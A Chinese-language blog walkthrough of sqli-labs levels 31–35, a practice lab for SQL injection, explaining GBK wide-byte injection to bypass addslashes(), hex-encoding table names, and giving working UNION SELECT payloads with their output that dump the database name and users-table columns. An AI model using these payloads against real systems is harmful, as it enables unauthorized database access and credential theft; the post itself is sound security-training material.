2021年9月29日 星期三

從sqli-labs學習SQL注入(Less31-Less35)

 接續前篇 從sqli-labs學習SQL注入(Less25-Less30) 

Less-31

和Less-29一樣,只是拼接方式從單引號改成雙引號加括號

Less-32

繞過addslashes()

不繞過是不行的payload

?id=-1' union select 1,version(),database() --+
輸出內容:Hint: The Query String you input is escaped as : -1\' union select 1,version(),database() --



源碼分析
# 在' " \ 等敏感字符前面添加反斜杠
function check_addslashes($string)
{
    # \ 轉換為 \\
    $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);
    # 將 ' 轉為\'
    $string = preg_replace('/\'/i', '\\\'', $string);   
    # 將 " 轉為\"
    $string = preg_replace('/\"/', "\\\"", $string);                                
    return $string;
}

$id=check_addslashes($_GET['id']);
mysql_query("SET NAMES gbk");
addslashes()會在單引號前加一個\ 例如:I'm hacker 傳入check_addslashes(),得到:I\'m hacker

寬字節注入原理

MySQL 在使用 GBK 編碼的時候(mysql_query("SET NAMES gbk");),會認為兩個字符為一個漢字,例如 %aa%5c 就是一個 漢字(不需要知道%aa%5c是什麼漢字,只需要知道這個原理即可)。因為過濾方法主要就是在敏感字符('  "  \)前面添加 反斜杠 \,所以這裡想辦法幹掉反斜杠即可。

  • %df 吃掉 \
具體的原因是 urlencode(\') = %5c%27,我們在%5c%27 前面添加%df,形 成%df%5c%27,MySQL 在 GBK 編碼方式的時候會將兩個字節當做一個漢字,這個時候就把%df%5c 當做是一個漢字,%27 則作為一個單獨的符號在外面,同時也就達到了我們的目的。

  • \' 中的 \ 過濾掉
例如可以構造 %5c%5c%27 的情況,後面的%5c會被前面的%5c 給註釋掉。這也是 bypass 的一種方法。

本關卡採用第一種 %df 寬字節注入來吃掉反斜杠

當然,如果mysql連線方式不是gbk,即把 mysql_query("SET NAMES gbk"); 去掉,下面的payload是注入不了的

爆庫名

?id=-1%df' union select 1,version(),database() --+
輸出內容:
Your Password:security
Hint: The Query String you input is escaped as : -1�\' union select 1,version(),database() --

爆字段

我在爆列名的時候卡了一下,分析半天語句最後想起來了, 'users' 這裡有單引號。
使用十六進制編碼就可以繞過了''使用0x 代替,users 使用十六進制編碼得到7573657273,構造為0x7573657273  
?id=-1%df' union select 1,version(),group_concat(column_name) from information_schema.columns where table_name =0x7573657273 and table_schema=database()--+
輸出內容:Your Password:id,username,password

如何得到users的十六進制編碼

使用HackBar 或 線上工具 Online Hex Encoder ,這裡以HackBar為例

選取users(先去掉單引號)

ENCODING => Hexadecimal encode

即可將users替換成hex code 7573657273

送出(Execute)之前記得在Hex code前面加0x


Less-33

和Less-32相同,只是過濾方式從preg_replace()改成addslashes(),拼接方式不變,用Less-32的payload即可

Less-34

Less-11 和 Less-32 的變形,就是在 Less-11 的基礎上對傳入參數做了 addslashes()過濾,當然MySQL也是使用了GBK連線(mysql_query("SET NAMES gbk");)才能注入。然後這題是POST,所以需要使用到burp suite

意外的錯誤

我在解這題時用這個payload
uname=admin%df' union select version(),database()--+&passwd=admin&submit=Submit
遇到了這個錯誤
Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (gbk_chinese_ci,COERCIBLE) for operation '='

原因

users表的username字段的定序(COLLATE)是latin1_swedish_ci造成的,把該字段的字元集(CHARACTER)和定序(COLLATE)改為gbk和gbk_chinese_ci 或 utf8和utf8_general_ci 或utf8mb4和utf8mb4_unicode_ci 即可。Less-32和Less-33 沒遇到這個問題是因為對id(int)注入,而users.username 是varchar

或是用這方式重啟mysql 容器
# docker run -p 23306:3306 --name my-mysql-5.6 -v /root/my-mysql-5.6:/var/lib/mysql -e MYSQL_ROOT_PASSWORD=xxx -d mysql:5.6 --character-set-server=utf8mb4 --collation-server=utf8mb4_unicode_ci
會把 character_set_server 從 latin1 改成 utf8mb4 
collation_server 從 latin1_swedish_ci 改成 utf8mb4_unicode_ci
然後刪 security 庫重新匯入SQL

爆庫名

uname=admin%df' union select version(),database()--+&passwd=admin&submit=Submit

輸出內容:Your Password:security 

Less-35

為什麼你要在乎 addslashes() 
使用以下payload測試注入點
?id=1'
輸出內容:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\' LIMIT 0,1' at line 1
從報錯中發現,id沒有被單引號和雙引號包著。現在你了解了本題的標題(why care for addslashes()),不需要繞過,直接注入

payload

?id=-1 union select 1,version(),database()--+
輸出內容:Your Password:security






















沒有留言:

張貼留言